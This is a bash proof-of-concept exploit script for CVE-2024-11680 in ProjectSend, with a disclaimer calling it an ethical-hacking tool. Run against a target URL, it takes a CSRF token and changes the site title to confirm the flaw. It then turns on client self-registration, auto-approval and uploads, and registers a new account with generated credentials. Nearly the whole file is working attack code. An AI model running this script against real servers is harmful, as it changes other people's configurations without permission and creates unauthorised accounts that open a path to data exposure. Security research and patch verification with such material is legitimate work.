#!/bin/bash

# Exploit: ProjectSend CSRF and Privilege Misconfiguration Exploit PoC
# Description: This exploit is designed to test and confirm a Cross-Site Request Forgery (CSRF) vulnerability in ProjectSend by attempting to modify the host application's title. 
# If the vulnerability is present, the script proceeds to exploit privilege misconfigurations to enable insecure options (e.g., client registration, auto-approval, and file uploads) 
# and registers a new user with generated credentials. The exploit demonstrates potential impacts by chaining vulnerabilities that could lead to unauthorized actions and data exposure.
#
# Usage:
#   - Change the target URL using the `-u` flag to specify the vulnerable application.
#   - The script verifies the application's vulnerability by altering its title to "ProjectSendPoC."
#   - If the title modification is successful, it restores the original title after testing.
#   - It further registers a new user to highlight privilege misconfiguration issues.
#
#   NOTE: You must use this exploit inside a folder with write permissions.
#
# Author: D3N14LD15K
# Created: 2024-12-04
# Updated: 2024-12-11
#
# Disclaimer: This script is intended for ethical hacking and educational purposes only.

TARGET_URL=""
CSRF_TOKEN=""
USERNAME="user$(tr -dc A-Za-z0-9 </dev/urandom | head -c 8)"
PASSWORD="Pass$(tr -dc A-Za-z0-9 </dev/urandom | head -c 8)"
EMAIL="$USERNAME@example.com"
NEW_TITLE="ProjectSendPoC"
ORIGINAL_TITLE=""
JUMP="\r\n"

function banner {

echo -e "\e[36m"
printf "   _______    ________    ___   ____ ___  __ __       ___________ ____  ____   ${JUMP}"
printf "  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      <  <  / ___/( __ )/ __ \  ${JUMP}"
printf " / /    | | / / __/________/ // / / /_/ / // /_______/ // / __ \/ __  / / / /  ${JUMP}"
printf "/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ // / /_/ / /_/ / /_/ /   ${JUMP}"
printf "\____/  |___/_____/    /____/\____/____/ /_/       /_//_/\____/\____/\____/    ${JUMP}"
printf "                                                                               ${JUMP}${JUMP}"
echo -e "\e[0m"

printf "ProjectSend Unauthenticated Configuration Modification${JUMP}"
printf "PoC for: https://www.cve.org/CVERecord?id=CVE-2024-11680${JUMP}${JUMP}"
printf "Author: D3N14LD15K | Dissociated Security${JUMP}${JUMP}"

}

function parse_args {
    while getopts ":u:" opt; do
        case $opt in
            u)
                TARGET_URL="$OPTARG"
                ;;
            \?)
                echo "Invalid URL: -$OPTARG" >&2
                exit 1
                ;;
            :)
                echo "Option -$OPTARG NOT SET" >&2
                exit 1
                ;;
        esac
    done

    if [[ -z "$TARGET_URL" ]]; then
        echo "[-] Target URL is required. Use the -u flag."
        exit 1
    fi
}

function get_csrf_token_and_title {
    echo "[*] Starting vulnerability check on $TARGET_URL..."
    RESPONSE=$(curl -s -c cookies.txt "$TARGET_URL/index.php")
    CSRF_TOKEN=$(echo "$RESPONSE" | grep -oP 'name="csrf_token" value="\K[^"]+')
    ORIGINAL_TITLE=$(echo "$RESPONSE" | grep -oP '<title>.*?&raquo;\s+(.*?)</title>' | sed -E 's/<[^>]*>//g' | sed -E 's/&.*?;//g')

    if [[ -z "$CSRF_TOKEN" ]] || [[ -z "$ORIGINAL_TITLE" ]]; then
        echo "[-] Failed to retrieve CSRF token. Exploit failed"
        exit 1
    fi

}

function update_title {
    local title=$1
    RESPONSE=$(curl -s -b cookies.txt -X POST "$TARGET_URL/options.php" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        --data-urlencode "csrf_token=$CSRF_TOKEN" \
        --data-urlencode "section=general" \
        --data-urlencode "this_install_title=$title")

    if echo "$RESPONSE" | grep -q "Internal Server Error"; then
        echo "[-] Exploit failed"
        exit 1
    fi
}

function verify_title {
    local expected_title=$1
    RESPONSE=$(curl -s -b cookies.txt "$TARGET_URL/index.php")
    CURRENT_TITLE=$(echo "$RESPONSE" | grep -oP '<title>.*?&raquo;\s+(.*?)</title>' | sed -E 's/<[^>]*>//g' | sed -E 's/&.*?;//g')


    if [[ "$CURRENT_TITLE" == *"$expected_title"* ]]; then
        echo -e "\e[32m[+] Target is vulnerable \e[0m"
    else
        echo "[-] Target NOT VULNERABLE"
        exit 1
    fi
}

# First things first. Insecure options must be enabled.
function enable_insecure_options {
    echo -e "\e[90m[*] Enabling insecure options...\e[0m"
    RESPONSE=$(curl -s -b cookies.txt -X POST "$TARGET_URL/options.php" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        --data-urlencode "csrf_token=$CSRF_TOKEN" \
        --data-urlencode "section=clients" \
        --data-urlencode "clients_can_register=1" \
        --data-urlencode "clients_auto_approve=1" \
        --data-urlencode "clients_can_upload=1")


    if echo "$RESPONSE" | grep -q "Internal Server Error"; then
        echo "[-] Failed to enable insecure options"
        exit 1
    fi
}

# Function to register a new user
function register_user {
    echo -e "\e[90m[*] Registering a new user...\e[0m"
    
    #New user registration here
    RESPONSE=$(curl -s -b cookies.txt -c cookies.txt -L -X POST "$TARGET_URL/register.php" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        --data-urlencode "csrf_token=$CSRF_TOKEN" \
        --data-urlencode "name=$USERNAME" \
        --data-urlencode "username=$USERNAME" \
        --data-urlencode "password=$PASSWORD" \
        --data-urlencode "email=$EMAIL" \
        --data-urlencode "address=123 Fake Street" \
        --data-urlencode "phone=1234567890" \
        --data-urlencode "notify_upload=on")
    
    if echo "$RESPONSE" | grep -q "alert-danger"; then
        echo "[-] Registration failed: $(echo "$RESPONSE" | grep -oP 'alert-danger.*?>\K[^<]+')"
        exit 1
    elif echo "$RESPONSE" | grep -q "alert-success"; then
        echo -e "\e[32m[+] User registered successfully.\e[0m"
        echo -e "[+] New username: \e[96m$USERNAME\e[0m"
        echo -e "[+] New password: \e[96m$PASSWORD\e[0m"
        printf "\r\n"
        echo -e "\e[46m\e[30m[+]Try to log in with your new credentials.\e[0m"
        printf "\r\n"
    else
        echo "[-] Unexpected server response during registration"
        exit 1
    fi
}

#Main workflow
parse_args "$@"
banner
get_csrf_token_and_title
update_title "$NEW_TITLE"
verify_title "$NEW_TITLE"
update_title "$ORIGINAL_TITLE"
enable_insecure_options
register_user

# Clean up
rm -f cookies.txt
echo "[+] Exploit completed."
